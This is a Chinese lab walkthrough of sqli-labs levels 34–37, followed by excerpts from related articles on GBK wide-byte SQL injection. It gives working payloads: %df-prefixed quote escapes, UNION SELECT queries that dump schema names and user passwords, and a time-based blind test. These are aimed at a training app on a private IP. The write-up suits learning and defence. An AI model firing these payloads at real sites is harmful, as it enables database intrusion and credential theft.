Less34-Less37 (宽字节注入)

Less34:

输入 admin    admin 登录成功

输入  a   c  登录失败,没有报错信息

看源码

本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à ?’

法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

方法一:

  • 在POST中传入的数据:1 ?‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字

方法二:

输入   a%df’   a%df’

抓包

  • 但我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可!

修改信息,forward,intercept is on ,返回关卡界面

Less35: id没有任何包裹

http://192.168.27.156/sqli-labs/Less-35/?id=-1 union select 1,2,3 --+

因为下面的查询都没有涉及到宽字节,所以下面的跟第1关一样

?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security‘ --+

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+

?id=-1 union select 1,2,group_concat(concat(‘~‘,username,password)) from security.users--+

使用时间盲注的方法也可以

http://192.168.27.156/sqli-labs/Less-35/?id=1 and if(length(database())>1,1,sleep(5)  )

Less-36:使用’1’进行包裹   

http://192.168.27.156/sqli-labs/Less-36/?id=1

http://192.168.27.156/sqli-labs/Less-36/?id=1‘     单引号被转义

使用宽字节注入

http://192.168.27.156/sqli-labs/Less-36/?id=1%df‘ union select 1,2,3 --+

http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+

http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

Less37:

输入  admin   admin   登录成功

输入 ad  a    登录失败

可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!

  • 分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à ?‘

方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

方法一:

方法二:抓包

又将 %转化为%25

原文地址:https://www.cnblogs.com/7-58/p/12268110.html

时间: 2024-11-15 07:19:21

Less34-Less37 (宽字节注入)的相关文章

那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ' 就会被转义为: \':2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

MYSQL注入天书之宽字节注入

Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解.我们在此介绍一下宽字节注入的原理和基本用法. 原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围).我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)

74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)

0x01 前言 最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的<代码审计 企业级Web代码安全架构>让我这个初学者能够入门.思路特别棒.我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了.H''Homaebic师傅教会了我很多思路.抱拳了老铁. 0x02 假漏洞 在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞.出现"问

宽字节注入详解

前言 在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性. 首先,宽字节注入与HTML页面编码是无关的,笔者曾经看到 <meta charset=utf8> 就放弃了尝试,这是一个误区,SQL注入不是XSS.虽然他们中编码的成因相似,不过发生的地点不同. 很多网上的材料都说程序使用了宽字节来处理程序,却又不指出具体是指什么

Mysql宽字节注入(转)

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型.也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本. 我们就以gbk字符编码为示范,拉开帷幕.gbk是一种多字符编码,具体定义自行百度.但有一个地方尤其要注意: 通常来说,一个gbk编码汉字,占用2个字节.一个utf-8编码的汉字,占用3个字节.在php中

浅谈对宽字节注入的认识

宽字节注入之前看到过,但是没有实战过,后面也没有找到合适的测试环境,今天刚好看到一个关于宽字节注入的ctf题,因此借此来学习下宽字节注入,如果写得不好的地方,烦请各位多多指导,谢谢!本文主要是简单介绍下宽字节注入,以及如何通过手工和工具进行宽字节注入的一个利用,通过本文我主要学习到以下三点: 1.扩展了我对SQL注入进行探测的一个思路! 2.学习了如何使用宽字节探测注入! 3.如何使用sqlmap自动化对宽字节进行注入! 0x01   宽字节注入 这里的宽字节注入是利用mysql的一个特性,my

深入探究宽字节注入漏洞与修补原理

 0.前言 最近要为了自动化审计搜集所有PHP漏洞,在整理注入的时候,发现宽字节注入中使用iconv造成的漏洞原理没有真正搞懂,网上的文章也说得不是很清楚,于是看了荣哥(lxsec)以前发的一篇http://www.91ri.org/8611.html,加上我们两个人的讨论,最终有了这一篇深入的研究成果. 1.概述 主要是由于使用了宽字节编码造成的. 什么是字符集? 计算机显示的字符图形与保存该字符时的二进制编码的映射关系. 如ASCII中,A(图形)对应编码01000001(65). 对于

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’:2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型转义了&#39;/&quot;字符的宽字节注入)

转义函数,针对以下字符,这样就无法闭合引号,导致无法注入 ' --> \' " --> \" \ --> \\ 但是,当MySQL的客户端字符集为gbk时,就可能发生宽字节注入,参照 http://netsecurity.51cto.com/art/201404/435074.htm %df' --> %df\' %df%5c' 这样引号就被闭合了,至于%df%5c就成了汉字 運 成功闭合 http://192.168.136.128/sqli-labs-mas